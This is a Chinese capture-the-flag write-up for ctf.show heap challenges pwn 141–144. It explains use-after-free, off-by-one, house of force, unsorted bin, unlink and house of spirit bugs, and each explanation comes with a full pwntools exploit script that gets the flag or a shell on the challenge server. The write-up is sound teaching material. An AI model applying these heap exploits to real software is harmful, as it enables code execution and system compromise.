其实仅仅只需要输入”Exit”然后等待几秒即可获得flag了

img

img

exp 略

pwn 135 - pwn 140

135-140仅仅是为了让大家了解相关函数以及结构之类的基础知识,flag都给出了。

pwn 141

检查保护:

img

32位开启Canary与NX保护

IDA查看main函数:

img

看一下菜单:

img

程序应该主要有 3 个功能。之后程序会根据用户的输入执行相应的功能。

add_note():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int add_note()
{
int v0; // esi
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*((_DWORD *)&notelist + i) )
{
*((_DWORD *)&notelist + i) = malloc(8u);
if ( !*((_DWORD *)&notelist + i) )
{
puts("Alloca Error");
exit(-1);
}
**((_DWORD **)&notelist + i) = print_note_content;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = *((_DWORD *)&notelist + i);
*(_DWORD *)(v0 + 4) = malloc(size);
if ( !*(_DWORD *)(*((_DWORD *)&notelist + i) + 4) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(void **)(*((_DWORD *)&notelist + i) + 4), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full!");
}
return __readgsdword(0x14u) ^ v5;
}

最多可以添加 5 个 note。每个 note 有两个字段 put 与 content,其中 put 会被设置为一个函数,其函数会输出 content 具体的内容。

print_note():

img

根据给定的索引来输出对应的note的内容。

del_note():

img

根据给定的索引来释放对应的 note。但是值得注意的是,在 删除的时候,只是单纯进行了 free,而没有设置为 NULL,那么显然,这里是存在 UAF漏洞。

程序还存在后门函数use():

img

那么我们只需要修改 note 的 put 字段为use函数的地址,从而实现在执行 print note 的时候执行后门函数。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28234)
elf = ELF('./pwn')
use = elf.sym['use']
def add(size, content):
io.recvuntil("choice :")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)


def delete(idx):
io.recvuntil("choice :")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(idx))


def show(idx):
io.recvuntil("choice :")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(idx))


add(32, "aaaa")
add(32, "bbbb")

delete(0)
delete(1)
add(8, p32(use))
show(0)
io.interactive()

pwn 142

检查保护:

img

64位开启Canary,NX保护,部分开启RELRO

IDA查看main函数:

img

看一下菜单menu():

img

4个功能,分别是创建堆,编辑堆,打印堆,删除堆

create_heap():

img

创建堆的时候,每次都会先创建0x10的heaparray,然后再创建堆

img

img

编辑的时候可以溢出一字节

show_heap():

img

delete_heap():

img

程序基本功能如上

我们就着重围绕着可以多写入一个字节,即存在off-by-one漏洞,可以通过溢出覆盖下一个字节,程序存在复用,即如果都inuse的话,上一个chunk可以使用到下一个chunk的prev_size,那么我们再溢出,就可以到size位了

(1)我们是首先申请了0x18字节(实际就给了0x10+下一个chunk的prev_size)

(2)然后再申请0x10

(3)edit第一个chunk,并且输入‘/bin/sh\x00’,通过栈溢出,将第二个chunk的size设置为0x41

(4)free掉第二个chunk

(5)重新申请0x30的chunk大小

(6)将free_got的地址输入chunk,并且打印出来

(7)计算出基地址、system地址

(8)覆盖free_got表为system地址

(9)删除第一个堆块即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28243)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def create(size, content):
io.recvuntil("choice :")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)


def edit(idx, content):
io.recvuntil("choice :")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(idx))
io.recvuntil(":")
io.sendline(content)


def show(idx):
io.recvuntil("choice :")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(idx))


def delete(idx):
io.recvuntil("choice :")
io.sendline("4")
io.recvuntil(":")
io.sendline(str(idx))


create(0x18, "aaaa") # 0
create(0x10, "bbbb") # 1
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
delete(1)
create(0x30, p64(0) * 4 + p64(0x30) + p64(elf.got['free'])) #1
show(1)
io.recvuntil("Content : ")
data = io.recvuntil("Done !")

free = u64(data.split("\n")[0].ljust(8, "\x00"))
libc_base = free - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
edit(1, p64(system_addr))
delete(0)

io.interactive()

pwn 143

检查保护:

img

64位程序,开启了Canary和NX,部分开启RELRO

IDA查看main函数:

img

看菜单menu():

img

一眼看到后门函数:

img

fffffffffffffffffffffffffffffffffflag():

img

那么依据main函数,在输入5的时候会去执行v4[1],v4[1]里面是goodbye_message的地址,我们通过house of force 的方法将其改为后门函数地址不就可以得到flag了

add():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 add()
{
int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( num > 99 )
{
puts("Full");
}
else
{
printf("Please enter the length:");
read(0, buf, 8uLL);
v2 = atoi(buf);
if ( !v2 )
{
puts("Invaild length");
return 0LL;
}
for ( i = 0; i <= 99; ++i )
{
if ( !*((_QWORD *)&unk_6020A8 + 2 * i) )
{
*((_DWORD *)&list + 4 * i) = v2;
*((_QWORD *)&unk_6020A8 + 2 * i) = malloc(v2);
printf("Please enter the name:");
*(_BYTE *)(*((_QWORD *)&unk_6020A8 + 2 * i) + (int)read(0, *((void **)&unk_6020A8 + 2 * i), v2)) = 0;
++num;
return 0LL;
}
}
}
return 0LL;
}

根据输入的大小来申请对应的内存,作为其存储名字的空间。然后使用read读取输入参数是v2,而read的第三个参数是无符号整数,输入一个负数即可读取任意长度,但是我们需要确保该数值满足REQUEST_OUT_OF_RANGE 的约束,所以这里存在任意长度堆溢出的漏洞。但即使这样,第一次的时候也比较难以利用,因为初始时候堆的 top chunk 的大小一般是不会很大的。

edit():

img

修改chunk内容的时候,修改长度可控,没有检查原先chunk的size大小,当修改的size大于add时候的size即可溢出

也存在任意长度堆溢出的漏洞。

show():

img

打印对应chunk的内容

free():

img

该释放的都释放了,也将指针置0了,这里没有利用点。

House of force的利用思路:

  1. 通过house of force,将top chunk的地址移到记录goodbye_messaged的chunk0处
  2. 再次申请chunk,我们就能分配到chunk0
  3. 将goodbye_message改为后门函数的地址
  4. 输入5调用v4[1],即可获得flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
context.log_level = "debug"
#io = process("./pwn")
io = remote('pwn.challenge.ctf.show',28173)
elf = ELF('./pwn')

def add(length,name):
io.recvuntil("choice:")
io.sendline('2')
io.recvuntil(':')
io.sendline(str(length))
io.recvuntil(":")
io.sendline(name)

def edit(idx,length,name):
io.recvuntil("choice:")
io.sendline('3')
io.recvuntil(":")
io.sendline(str(idx))
io.recvuntil(":")
io.sendline(str(length))
io.recvuntil(':')
io.sendline(name)

def delete(idx):
io.revcuntil("choice:")
io.sendline("4")
io.recvuntil(":")
io.sendline(str(idx))

def show():
io.recvuntil("choice:")
io.sendline("1")

def get_flag():
io.recvuntil("choice:")
io.sendline("5")

flag = elf.sym['fffffffffffffffffffffffffffffffffflag']
add(0x30,'aaaa')

payload = 0x30 * 'a'
payload += 'a' * 8 + p64(0xffffffffffffffff)

edit(0,0x41,payload)

offset = -(0x60+0x8+0xf)
add(offset,'aaaa')
add(0x10,p64(flag) * 2)
get_flag()

io.interactive()

还可以使用Unlink进行攻击

利用思路

  1. 伪造一个空闲 chunk。
  2. 通过 unlink 把 chunk 移到存储 chunk 指针的内存处。
  3. 覆盖 chunk 0 指针为 free@got 表地址并泄露。
  4. 覆盖 free@got 表为 system 函数地址。
  5. 申请chunk的内容为“/bin/sh”,调用 free 函数进行get shell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
from LibcSearcher import *
context.log_level="debug"
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28173)
elf = ELF('./pwn')
free_got = elf.got['free']

def add(length,context):
io.recvuntil("Your choice:")
io.sendline("2")
io.recvuntil("Please enter the length:")
io.sendline(str(length))
io.recvuntil("Please enter the name:")
io.send(context)

def edit(idx,length,context):
io.recvuntil("Your choice:")
io.sendline("3")
io.recvuntil("Please enter the index:")
io.sendline(str(idx))
io.recvuntil("Please enter the length of name:")
io.sendline(str(length))
io.recvuntil("Please enter the new name:")
io.send(context)

def delete(idx):
io.recvuntil("Your choice:")
io.sendline("4")
io.recvuntil("Please enter the index:")
io.sendline(str(idx))

def show():
io.sendlineafter("Your choice:", "1")

add(0x40,'a' * 8)
add(0x80,'b' * 8)
add(0x80,'c' * 8)
add(0x20,'/bin/sh\x00')
#gdb.attach(io)

ptr = 0x6020a8
fd = ptr-0x18
bk = ptr-0x10

fake_chunk = p64(0)
fake_chunk += p64(0x41)
fake_chunk += p64(fd)
fake_chunk += p64(bk)
fake_chunk += '\x00'*0x20
fake_chunk += p64(0x40)
fake_chunk += p64(0x90)

edit(0,len(fake_chunk),fake_chunk)
#gdb.attach(io)

delete(1)
log.info("free_got:%x",hex(free_got))
payload = p64(0) + p64(0) + p64(0x40) + p64(free_got)
edit(0,len(fake_chunk),payload)
#gdb.attach(io)
show()

free = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\x00'))
log.info("free addr is:%x",free)
libc = LibcSearcher('free',free)
libc_base = free - libc.dump('free')
system = libc_base + libc.dump('system')
edit(0,0x8,p64(system))
#gdb.attach(io)
delete(3)

io.interactive()

pwn 144

检查保护:

img

64位程序,开启了Canary和NX,部分开启RELRO

IDA查看main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 114514 )
{
if ( (unsigned __int64)magic <= 114514 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
TaT();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}

一眼看到114514,然后可以看到TaT是一个后门函数:

img

magic 为在 bss 段的全局变量,如果我们能够控制 v3 为 114514 并且覆写 magic 使其值大于 114514 ,就能get flag。

img

看菜单menu():

img

从菜单来看只有三个功能,没有show,有add(Create) edit(Edit) free(Delete)三个功能,分别跟进对应函数

create_heap():

img

heaparray 数组:存放 chunk 的首地址。

read_input(heaparray[i], size):把我们输入的内容写入 chunk 中。

且heaparray是存放在bss段上

img

edit_heap():

img

可以再次编辑 chunk 的内容,而且可以选择输入大小。如果我们这次输入的 size 比创建时大的话,就会导致堆溢出

【read_input(heaparray[v1], v2):向 chunk 中写入 v2 大小的内容,也就是说如果 v2 比 create 时的 size 大的话就会造成堆溢出。】

delete_heap():

img

释放对应 index 的 chunk,并将数组 heaparray 对应的地址置 0。

Unsorted bin Attack

首先通过 unsorted bin attack 覆盖 magic 为一个很大的值,然后然后输入使 v3 等于 114514既可以进入后门函数get flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28227)

def create_heap(size,content):
io.recvuntil("choice :")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)

def edit_heap(idx,size,content):
io.recvuntil("choice :")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(idx))
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)

def delete_heap(idx):
io.recvuntil("choice :")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(idx))

create_heap(0x80,"aaaa") # 0
create_heap(0x20,"bbbb") # 1
create_heap(0x80,"cccc") # 2
create_heap(0x20,"dddd") # 3

delete_heap(2)
delete_heap(0)
magic = 0x6020a0
fd = 0
bk = magic - 0x10

edit_heap(1,0x20+0x20,"a"*0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
create_heap(0x80,"eeee")
io.recvuntil(":")
io.sendline("114514")

io.interactive()

unlink攻击:

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28227)
libc = ELF('/home/bit/libc/64bit/libc-2.23.so')
heaparray_0 = 0x6020c0
heaparray_1 = 0x6020c8
heaparray_2 = 0x6020d0
heaparray_3 = 0x6020d8
def create_heap(size,content):
io.recvuntil("choice :")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)

def edit_heap(idx,size,content):
io.recvuntil("choice :")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(idx))
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)

def delete_heap(idx):
io.recvuntil("choice :")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(idx))
def get_flag():
io.recvuntil("Your choice :")
io.sendline('114514')


create_heap(0x88,'aaaa')
create_heap(0x88,'bbbbb')
create_heap(0x88,'ccccc')
create_heap(0x88,'ddddd')
create_heap(0x88,'eeeee')

#unlink
fd = heaparray_3 - 0x18
bk = heaparray_3 - 0x10
magic = 0x6020a0
payload = b'\x00'*8 + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90)
edit_heap(3,0x90,payload)
#gdb.attach(io)
delete_heap(4)
edit_heap(3,8,p64(magic))
edit_heap(0,8,p64(114515))

get_flag()

io.interactive()

House Of Spirit

创建三个chunk,free chunk2,链入fastbin,edit修改chunk1内容,并且覆盖到free chunk2的fd,fd就可以覆盖为fake chunk.

我们在heaparray附近伪造chunk,为了绕过free fastbins的大小检查,在附近找到0x7f,可以调试找到合适的地方:0x602090 -3,并把这里作fake chunk,size就是0x7f.

创建一个chunk,分配到chunk2

再创建一个chunk3,分配到fakechunk,

edit修改chunk3,覆盖到heaparray,写入free_got

再修改heaparray[0],把free_got改为system_plt的地址

这里需要一个’/bin/sh\x00’,可以在开始修chunk1的时候写入

释放chunk1,”/bin/sh\x00”当作参数传入free(),free已改为system,实际执行system(“/bin/sh\0x00”),然后get shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28227)
elf = ELF('./pwn')
libc = ELF('/home/bit/libc/64bit/libc-2.23.so')
free_got = elf.got['free']
system = elf.plt['system']
heaparray_0 = 0x6020c0
heaparray_1 = 0x6020c8
heaparray_2 = 0x6020d0
heaparray_3 = 0x6020d8

def create_heap(size,content):
io.recvuntil("choice :")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)

def edit_heap(idx,size,content):
io.recvuntil("choice :")
io.sendline("2")
io.recvuntil(":")
io.sendline(str(idx))
io.recvuntil(":")
io.sendline(str(size))
io.recvuntil(":")
io.sendline(content)

def delete_heap(idx):
io.recvuntil("choice :")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(idx))

create_heap(0x68,'aaaa')
create_heap(0x68,'bbbb')
create_heap(0x68,'cccc')
delete_heap(2)

payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x602090-3)
edit_heap(1,len(payload),payload)
create_heap(0x68,'aaaa')
create_heap(0x68,'dddd')
payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit_heap(3,len(payload),payload)
payload = p64(system)

edit_heap(0,len(payload),payload)
delete_heap(1)

io.interactive()

看到这也许你会觉得看的一脸懵,实际上在堆利用来说,往往比栈更加复杂多变,攻击方式也更加多样,以上几题仅仅为入门题,解题的方式也只会比我写出来的多。